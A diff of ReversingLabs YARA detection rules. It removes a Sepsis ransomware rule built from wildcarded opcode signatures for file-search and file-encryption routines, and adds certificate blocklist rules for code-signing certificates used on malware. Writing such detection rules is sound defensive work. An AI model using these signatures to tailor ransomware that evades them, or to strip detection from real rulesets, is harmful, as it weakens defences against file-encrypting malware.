90 48 8D 95 ?? ?? ?? ?? 48 83 BD ?? ?? ?? ?? - ?? 48 0F 43 95 ?? ?? ?? ?? 4C 8B 85 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? - 48 8B C8 E8 ?? ?? ?? ?? 4C 89 AD ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 - ?? ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 83 BD ?? ?? ?? ?? ?? 48 0F 43 95 ?? ?? ?? ?? - 4C 8B 85 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B CF 48 83 7F ?? ?? 72 - ?? 48 8B 0F BA ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? - 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 44 24 ?? 4C 89 AD ?? - ?? ?? ?? 4C 89 AD ?? ?? ?? ?? 48 8B B5 ?? ?? ?? ?? 4C 8D B5 ?? ?? ?? ?? 48 83 BD ?? - ?? ?? ?? ?? 4C 0F 43 B5 ?? ?? ?? ?? 48 83 FE ?? 73 ?? 41 0F 10 06 0F 11 85 ?? ?? ?? - ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 - } - $find_files_p2 = { - 8B DE 48 83 CB ?? 48 3B D8 48 0F 47 D8 48 8D 4B ?? 48 81 F9 ?? ?? ?? ?? 72 ?? 48 8D - 41 ?? 48 3B C1 0F 86 ?? ?? ?? ?? 0F AE E8 48 8B C8 E8 ?? ?? ?? ?? 48 8B C8 48 85 C0 - 0F 84 ?? ?? ?? ?? 48 83 C0 ?? 48 83 E0 ?? 48 89 48 ?? EB ?? 48 85 C9 74 ?? 0F AE E8 - E8 ?? ?? ?? ?? EB ?? 49 8B C5 48 89 85 ?? ?? ?? ?? 4C 8D 46 ?? 49 8B D6 48 8B C8 E8 - ?? ?? ?? ?? 48 89 9D ?? ?? ?? ?? 48 89 B5 ?? ?? ?? ?? 4C 89 6D ?? 4C 89 6D ?? 48 8B - B5 ?? ?? ?? ?? 4C 8D B5 ?? ?? ?? ?? 48 83 BD ?? ?? ?? ?? ?? 4C 0F 43 B5 ?? ?? ?? ?? - 48 83 FE ?? 73 ?? 41 0F 10 06 0F 11 45 ?? 48 C7 45 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 - B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 45 ?? 48 8B DE 48 83 CB ?? 48 89 5D ?? 48 3B D8 48 - 0F 47 D8 48 8D 4B ?? 48 81 F9 ?? ?? ?? ?? 72 ?? 48 8D 41 ?? 48 3B C1 0F 86 ?? ?? ?? - ?? 0F AE E8 48 8B C8 E8 ?? ?? ?? ?? 48 8B C8 48 85 C0 0F 84 ?? ?? ?? ?? 48 83 C0 ?? - 48 83 E0 ?? 48 89 48 ?? EB ?? 48 85 C9 74 ?? 0F AE E8 E8 ?? ?? ?? ?? EB ?? 49 8B C5 - 48 89 45 ?? 4C 8D 46 ?? 49 8B D6 48 8B C8 E8 ?? ?? ?? ?? 48 89 5D ?? 48 89 75 ?? 4C - 8D 85 ?? ?? ?? ?? 48 8D 55 ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 8D - } - $encrypt_files_p1 = { - 48 63 53 ?? 48 89 B5 ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 45 ?? ?? 45 33 - C0 48 8D 4D ?? E8 ?? ?? ?? ?? 90 48 8D 55 ?? 48 83 BD ?? ?? ?? ?? ?? 48 0F 43 55 ?? - 4C 63 43 ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 89 4B ?? 48 85 C9 0F 84 - ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ?? 48 3B CA 77 ?? 48 89 8D ?? ?? ?? ?? 48 8D 45 ?? 48 - 83 BD ?? ?? ?? ?? ?? 48 0F 43 45 ?? C6 04 01 ?? EB ?? 48 8B F1 48 2B F2 4C 8B 85 ?? - ?? ?? ?? 49 8B C0 48 2B C2 48 3B F0 77 ?? 48 89 8D ?? ?? ?? ?? 48 8D 7D ?? 49 83 F8 - ?? 48 0F 43 7D ?? 48 03 FA 4C 8B C6 33 D2 48 8B CF E8 ?? ?? ?? ?? C6 04 37 ?? EB ?? - 0F AE E8 C6 44 24 ?? ?? 4C 8B CE 48 8B D6 48 8D 4D ?? E8 ?? ?? ?? ?? 33 F6 8B 43 ?? - 99 41 F7 FD B9 ?? ?? ?? ?? 85 C0 0F 45 C8 89 4B ?? 83 F9 ?? 0F 8C ?? ?? ?? ?? 4C 63 - C9 4C 8D 45 ?? 48 8D 54 24 ?? E8 ?? ?? ?? ?? 48 8B F8 48 3B D8 74 ?? 48 8B 0B 48 85 - } - $encrypt_files_p2 = { - C9 74 ?? 48 8B 53 ?? E8 ?? ?? ?? ?? 48 8B 0B 48 8B 53 ?? 48 2B D1 48 83 E2 ?? 48 81 - FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 4C 8B 41 ?? 49 2B C8 48 8D 41 ?? 48 83 F8 ?? 0F 87 - ?? ?? ?? ?? 49 8B C8 E8 ?? ?? ?? ?? 48 89 33 48 89 73 ?? 48 89 73 ?? 48 8B 07 48 89 - 03 48 8B 47 ?? 48 89 43 ?? 48 8B 47 ?? 48 89 43 ?? 48 89 37 48 89 77 ?? 48 89 77 ?? - 48 8B 4C 24 ?? 48 85 C9 74 ?? 48 8B 54 24 ?? E8 ?? ?? ?? ?? 48 8B 54 24 ?? 48 8B 4C - 24 ?? 48 2B D1 48 83 E2 ?? 48 8B C1 48 81 FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 - ?? 48 2B C1 48 83 C0 ?? 48 83 F8 ?? 0F 87 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 74 24 ?? - 0F 57 C0 F3 0F 7F 44 24 ?? EB ?? 48 8B 0B 48 8D 45 ?? 48 3B C8 74 ?? 48 8D 55 ?? 48 - 83 BD ?? ?? ?? ?? ?? 48 0F 43 55 ?? 4C 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B CB E8 - ?? ?? ?? ?? 45 33 C0 48 8D 15 ?? ?? ?? ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 83 7B ?? ?? 74 - ?? 33 FF 0F 1F 40 ?? 66 0F 1F 84 00 ?? ?? 00 00 4C 8B 03 4C 03 C7 49 8B D0 49 83 78 - ?? ?? 72 ?? 49 8B 10 4D 8B 40 ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 48 63 CE 48 C1 E1 ?? 48 - } - $encrypt_files_p3 = { - 03 0B 45 33 C0 48 8D 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 0B 48 03 CF 48 C7 41 ?? ?? - ?? ?? ?? 48 83 79 ?? ?? 72 ?? 48 8B 09 C6 01 ?? FF C6 48 83 C7 ?? 3B 73 ?? 75 ?? 48 - 8D 55 ?? 48 83 BD ?? ?? ?? ?? ?? 48 0F 43 55 ?? 4C 8B 85 ?? ?? ?? ?? 48 8D 8D ?? ?? - ?? ?? E8 ?? ?? ?? ?? 90 48 8B 95 ?? ?? ?? ?? 48 83 FA ?? 72 ?? 48 FF C2 48 8B 4D ?? - 48 8B C1 48 81 FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 83 C0 ?? 48 - 83 F8 ?? 0F 87 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 63 48 ?? 33 F6 F6 44 0C - ?? ?? 75 ?? E9 ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ?? 48 83 FA ?? 72 ?? 48 FF C2 48 8B 4D - ?? 48 8B C1 48 81 FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 83 C0 ?? - 48 83 F8 ?? 0F 87 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 3D ?? ?? ?? ?? 48 8D 4C 24 ?? E8 - ?? ?? ?? ?? BB ?? ?? ?? ?? 48 85 C0 75 ?? 48 8B 44 24 ?? 48 63 48 ?? 48 8D 44 24 ?? - 48 03 C8 41 8B D4 48 83 79 ?? ?? 0F 45 D3 0B 51 ?? 45 33 C0 E8 ?? ?? ?? ?? 48 8D 8D - ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 85 C0 75 ?? 48 8B 85 ?? ?? ?? ?? 48 63 48 ?? 48 8D 85 - ?? ?? ?? ?? 48 03 C8 48 83 79 ?? ?? 44 0F 45 E3 44 0B 61 ?? 45 33 C0 41 8B D4 E8 ?? - ?? ?? ?? 90 48 8B 85 ?? ?? ?? ?? 48 63 48 ?? 48 89 BC 0D ?? ?? ?? ?? 48 8B 85 ?? ?? - ?? ?? 48 63 48 ?? 8D 91 ?? ?? ?? ?? 89 94 0D ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? - ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 63 48 ?? 48 8D 05 ?? ?? ?? ?? 48 89 84 0D ?? ?? ?? - ?? 48 8B 85 ?? ?? ?? ?? 48 63 48 ?? 8D 51 ?? 89 94 0D ?? ?? ?? ?? 48 8D 1D ?? ?? ?? - ?? 48 89 9D ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8B 44 24 ?? 48 63 - } - $encrypt_files_p4 = { - 48 ?? 48 8D 05 ?? ?? ?? ?? 48 89 44 0C ?? 48 8B 44 24 ?? 48 63 48 ?? 8D 91 ?? ?? ?? - ?? 89 54 0C ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 63 48 ?? 48 8D 05 ?? - ?? ?? ?? 48 89 44 0C ?? 48 8B 44 24 ?? 48 63 48 ?? 8D 51 ?? 89 54 0C ?? 48 89 5D ?? - 48 8D 4D ?? E8 ?? ?? ?? ?? 90 49 8B 57 ?? 48 83 FA ?? 72 ?? 49 8B 0F 48 FF C2 48 81 - FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 4C 8B 41 ?? 49 2B C8 48 8D 41 ?? 48 83 F8 ?? 0F 87 - ?? ?? ?? ?? 49 8B C8 E8 ?? ?? ?? ?? 49 89 77 ?? 49 C7 47 ?? ?? ?? ?? ?? 41 C6 07 ?? - 49 8B 56 ?? 48 83 FA ?? 72 ?? 48 FF C2 49 8B 0E 48 81 FA ?? ?? ?? ?? 72 ?? 48 83 C2 - ?? 4C 8B 41 ?? 49 2B C8 48 8D 41 ?? 48 83 F8 ?? 77 ?? 49 8B C8 E8 ?? ?? ?? ?? 49 89 - 76 ?? 49 C7 46 ?? ?? ?? ?? ?? 41 C6 06 ?? 48 8B 8D ?? ?? ?? ?? 48 33 CC E8 ?? ?? ?? - ?? 48 8B 9C 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 41 5F 41 5E 41 5D 41 5C 5F 5E 5D C3 - E8 - } - $encrypt_files_p5 = { - 48 8B C4 48 89 58 ?? 48 89 70 ?? 48 89 78 ?? 4C 89 40 ?? 55 41 54 41 55 41 56 41 57 - 48 8D 68 ?? 48 81 EC ?? ?? ?? ?? 45 8B E1 49 8B D8 44 8B 4D ?? 48 8B FA 44 8B 45 ?? - 48 8B F1 41 8B D4 48 8D 4D ?? E8 ?? ?? ?? ?? 0F 10 00 F2 0F 10 48 ?? 0F 11 45 ?? 66 - 0F 73 D8 ?? 66 49 0F 7E C7 F2 0F 11 4D ?? 49 C1 EF ?? F2 0F 11 4D ?? 4C 89 7D ?? 41 - 83 FF ?? 75 ?? E8 ?? ?? ?? ?? 33 F6 89 30 83 0F ?? E8 ?? ?? ?? ?? 8B 00 E9 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 89 07 83 F8 ?? 75 ?? E8 ?? ?? ?? ?? 33 F6 89 30 83 0F ?? E8 ?? ?? - ?? ?? C7 00 ?? ?? ?? ?? EB ?? 8B 4D ?? 4C 8D 4D ?? 4C 8B 75 ?? 41 8B C4 48 8B 55 ?? - 45 8B C7 C1 E8 ?? 49 C1 EE ?? F7 D0 44 0B 75 ?? 83 E0 ?? C7 06 ?? ?? ?? ?? 33 F6 48 - 89 74 24 ?? 44 89 74 24 ?? 89 4C 24 ?? 48 8B CB 48 C1 EA ?? C7 45 ?? ?? ?? ?? ?? 48 - 89 75 ?? 89 45 ?? 4C 89 75 ?? FF 15 ?? ?? ?? ?? 8B 5D ?? B9 ?? ?? ?? ?? 4C 8B E8 48 - 83 F8 ?? 75 ?? 8B C3 23 C1 3B C1 75 ?? 41 F6 C4 ?? 74 ?? 8B 4D ?? 4C 8D 4D ?? 48 89 - 74 24 ?? 0F BA F3 ?? 89 5D ?? 45 8B C7 48 8B 55 ?? 44 89 74 24 ?? 89 4C 24 ?? 48 8B - } - $encrypt_files_p6 = { - 4D ?? 48 C1 EA ?? FF 15 ?? ?? ?? ?? 4C 8B E8 48 83 F8 ?? 75 ?? 48 63 0F 4C 8D 3D ?? - ?? ?? ?? 48 8B C1 83 E1 ?? 48 C1 F8 ?? 48 8D 0C C9 49 8B 04 C7 80 64 C8 ?? ?? FF 15 - ?? ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 49 8B CD FF 15 ?? ?? ?? ?? 85 C0 75 - ?? FF 15 ?? ?? ?? ?? 8B C8 8B D8 E8 ?? ?? ?? ?? 48 63 17 4C 8D 3D ?? ?? ?? ?? 48 8B - CA 83 E2 ?? 48 C1 F9 ?? 48 8D 14 D2 49 8B 0C CF 80 64 D1 ?? ?? 49 8B CD FF 15 ?? ?? - ?? ?? 85 DB 0F 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? E9 ?? ?? ?? ?? 44 8A - 75 ?? 83 F8 ?? 75 ?? 41 80 CE ?? EB ?? 83 F8 ?? 75 ?? 41 80 CE ?? 8B 0F 49 8B D5 E8 - ?? ?? ?? ?? 48 63 0F 4C 8D 3D ?? ?? ?? ?? 48 8B C1 41 80 CE ?? 48 C1 F8 ?? 83 E1 ?? - 44 88 75 ?? 49 8B 04 C7 48 8D 0C C9 44 88 74 C8 ?? 48 63 0F 48 8B C1 83 E1 ?? 48 C1 - F8 ?? 48 8D 0C C9 49 8B 04 C7 40 88 74 C8 ?? 41 F6 C4 ?? 74 ?? 8B 0F E8 ?? ?? ?? ?? - 89 45 ?? 85 C0 74 ?? 8B 0F E8 ?? ?? ?? ?? 8B 45 ?? E9 ?? ?? ?? ?? 0F 10 45 ?? 4C 8D - 4D ?? 8B 0F F2 0F 10 4D ?? 48 8D 55 ?? 45 8B C4 0F 29 45 ?? 40 88 75 ?? F2 0F 11 4D - ?? E8 ?? ?? ?? ?? 48 63 0F 89 45 ?? 85 C0 75 ?? 48 8B C1 48 C1 F9 ?? 83 E0 ?? 49 8B - } - $encrypt_files_p7 = { - 0C CF 48 8D 14 C0 8A 45 ?? 88 44 D1 ?? 48 63 0F 48 8B C1 83 E1 ?? 48 C1 F8 ?? 48 8D - 14 C9 49 8B 0C C7 41 8B C4 C1 E8 ?? 24 ?? 80 64 D1 ?? ?? 08 44 D1 ?? 41 F6 C6 ?? 75 - ?? 41 F6 C4 ?? 74 ?? 48 63 0F 48 8B C1 83 E1 ?? 48 C1 F8 ?? 48 8D 0C C9 49 8B 04 C7 - 80 4C C8 ?? ?? B9 ?? ?? ?? ?? 8B C3 23 C1 3B C1 0F 85 ?? ?? ?? ?? 41 F6 C4 ?? 0F 84 - ?? ?? ?? ?? 49 8B CD FF 15 ?? ?? ?? ?? 48 8B 4D ?? 4C 8D 4D ?? 44 8B 45 ?? 0F BA F3 - ?? 48 89 74 24 ?? 89 4C 24 ?? 8B 4D ?? 89 4C 24 ?? 48 8B 4D ?? 89 5D ?? 48 8B 55 ?? - 48 C1 EA ?? FF 15 ?? ?? ?? ?? 48 8B D0 48 83 F8 ?? 75 ?? FF 15 ?? ?? ?? ?? 8B C8 E8 - ?? ?? ?? ?? 48 63 0F 48 8B C1 83 E1 ?? 48 C1 F8 ?? 48 8D 0C C9 49 8B 04 C7 80 64 C8 - ?? ?? 8B 0F E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 63 0F 48 8B C1 48 C1 F8 ?? 83 E1 ?? 49 - 8B 04 C7 48 8D 0C C9 48 89 54 C8 ?? 33 C0 4C 8D 9C 24 ?? ?? ?? ?? 49 8B 5B ?? 49 8B - 73 ?? 49 8B 7B ?? 49 8B E3 41 5F 41 5E 41 5D 41 5C 5D C3 - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "RDCTO Ltd" and pe.signatures [ i ] . serial == "20:27:02" and 1087391361 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_369A02E5D90B2649040E7F87 : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "2b81466f-3eb1-5c12-8878-9257dde968fb" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15152-L15168" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "e2a2e231914f166410580a42ca9d4aac18c5cba94d1f11d22e7acd6d375851d8" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "VANKY TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == "36:9a:02:e5:d9:0b:26:49:04:0e:7f:87" and 1479094204 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Sepsis : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_60497070Ff4A83Bc87Bdea24Da5B431D : INFO FILE { meta: - description = "Yara rule that detects Sepsis ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "0c26d6e0-1d64-5f47-8e21-6710a531bc74" - date = "2020-06-26" - modified = "2020-07-15" + id = "510ab702-103b-5863-ac9a-46a917879e72" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Sepsis.yara#L1-L126" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15170-L15186" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "171ad074a780b45195c6e02b111b3883c58a4028e635c4d6b8ce27c5e05e35d7" + logic_hash = "30998e3f5299a37cdee83b1232249b84dbb3c154ef99237da5ce1b16f9db5da3" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Sepsis" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $search_files_1 = { - 55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 53 8B 5D ?? 8D 84 24 ?? ?? ?? ?? 56 57 8B 3D ?? - ?? ?? ?? 68 ?? ?? ?? ?? 53 50 FF D7 8D 44 24 ?? 50 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? - ?? ?? ?? 8D 4C 24 ?? 89 44 24 ?? 51 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 - } - $search_files_2 = { - 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 - ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 - ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? - ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 - 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? - 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 - ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 - ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? - ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 - 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 74 ?? 68 ?? ?? ?? - ?? 8D 44 24 ?? 50 FF D6 85 C0 74 ?? F6 44 24 ?? ?? 8D 44 24 ?? 50 53 8D 84 24 ?? ?? - ?? ?? 50 74 ?? FF D7 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? EB ?? FF D7 8D 44 24 ?? - 50 FF 15 ?? ?? ?? ?? 8B D0 8D 7A - } - $search_files_3 = { - 66 8B 0A 83 C2 ?? 66 85 C9 75 ?? 2B D7 D1 FA 83 FA ?? 75 ?? 66 83 78 ?? ?? 74 ?? 8D - 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 8D 44 24 ?? 50 FF 74 24 ?? FF 15 - ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 5F 5E 33 C0 5B 8B - E5 5D C2 - } - $search_files_4 = { - 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 - ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 - ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? - ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 - 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? - 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 - ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 - ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? - ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 - 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? - 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 - ?? 50 FF D6 85 C0 74 ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 74 ?? F6 44 24 ?? - ?? 8D 44 24 ?? 50 53 8D 84 24 ?? ?? ?? ?? 50 74 ?? FF D7 8D 84 24 ?? ?? ?? ?? 50 E8 - ?? ?? ?? ?? EB ?? FF D7 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 8B D0 8D 7A ?? 66 8B 0A 83 - C2 ?? 66 85 C9 75 ?? 2B D7 D1 FA 83 FA ?? 75 ?? 66 83 78 ?? ?? 74 ?? 8D 8C 24 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 8D 44 24 ?? 50 FF 74 24 ?? FF 15 ?? ?? ?? ?? - 85 C0 0F 85 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 5F 5E 33 C0 5B 8B E5 5D C2 - } - $encrypt_files_1 = { - BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 6A ?? FF D6 0F 10 05 ?? ?? ?? ?? 8B F8 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? - ?? ?? ?? 50 0F 11 07 89 3D ?? ?? ?? ?? 0F 10 05 ?? ?? ?? ?? 0F 11 47 ?? 0F 10 05 ?? - ?? ?? ?? 0F 11 47 ?? E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? C7 45 ?? - ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 6A ?? 50 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 8D - 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 33 FF E9 ?? ?? ?? ?? 8D 45 ?? 50 8D - 45 ?? 50 6A ?? 68 ?? ?? ?? ?? FF 75 ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? FF 15 ?? ?? - ?? ?? 85 C0 75 ?? 33 FF E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8D 45 ?? 50 - FF 15 ?? ?? ?? ?? 85 C0 75 ?? 33 FF E9 ?? ?? ?? ?? 8D 45 ?? 50 FF 75 ?? 6A ?? FF 75 - ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 33 FF EB ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8B CF 8D 51 - } - $encrypt_files_2 = { - 8A 01 41 84 C0 75 ?? 2B CA 8D 45 ?? 51 50 6A ?? 6A ?? 6A ?? 6A ?? FF 75 ?? 89 4D ?? - 89 4D ?? FF D3 85 C0 75 ?? 33 FF EB ?? FF 75 ?? FF D6 FF 75 ?? 8B F0 6A ?? 56 E8 ?? - ?? ?? ?? FF 75 ?? 57 56 E8 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? FF 75 ?? 50 56 6A ?? 6A ?? - 6A ?? FF 75 ?? FF D3 8B F8 F7 DF 1B FF 23 FE 8B 35 ?? ?? ?? ?? 8B D7 8D 4A ?? 66 90 - 8A 02 42 84 C0 75 ?? 2B D1 8B CF E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 8D 50 ?? 8A 08 40 84 - C9 75 ?? 2B C2 57 A3 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 C4 ?? 81 3D ?? ?? ?? ?? ?? ?? - ?? ?? 0F 82 ?? ?? ?? ?? 5F 5E 5B 8B E5 5D C3 - } - $encrypt_files_3 = { - 55 8B EC 83 EC ?? 57 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8B C1 68 ?? ?? ?? ?? 50 - 89 45 ?? FF 15 ?? ?? ?? ?? 8B F8 83 FF ?? 75 ?? 0B C0 5F 8B E5 5D C3 53 6A ?? 57 FF - 15 ?? ?? ?? ?? 8B D8 83 FB ?? 75 ?? FF 75 ?? 57 FF 15 ?? ?? ?? ?? 8B D8 56 B8 ?? ?? - ?? ?? 6A ?? 3B D8 0F 47 D8 53 6A ?? 6A ?? 6A ?? 57 FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? - 75 ?? 5E 5B 0B C0 5F 8B E5 5D C3 6A ?? 6A ?? 6A ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 56 8B - 35 ?? ?? ?? ?? 89 45 ?? FF D6 57 FF D6 E8 ?? ?? ?? ?? 0F 10 05 ?? ?? ?? ?? 0F 11 05 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B F8 BE ?? ?? ?? ?? 0F 10 05 ?? ?? ?? ?? 0F 11 - 05 ?? ?? ?? ?? 85 DB 74 - } - $encrypt_files_4 = { - 8A 0C 06 8D 40 ?? 30 48 ?? 83 EA ?? 75 ?? 8B CF E8 ?? ?? ?? ?? 8B F7 83 C7 ?? 83 EB - ?? 75 ?? 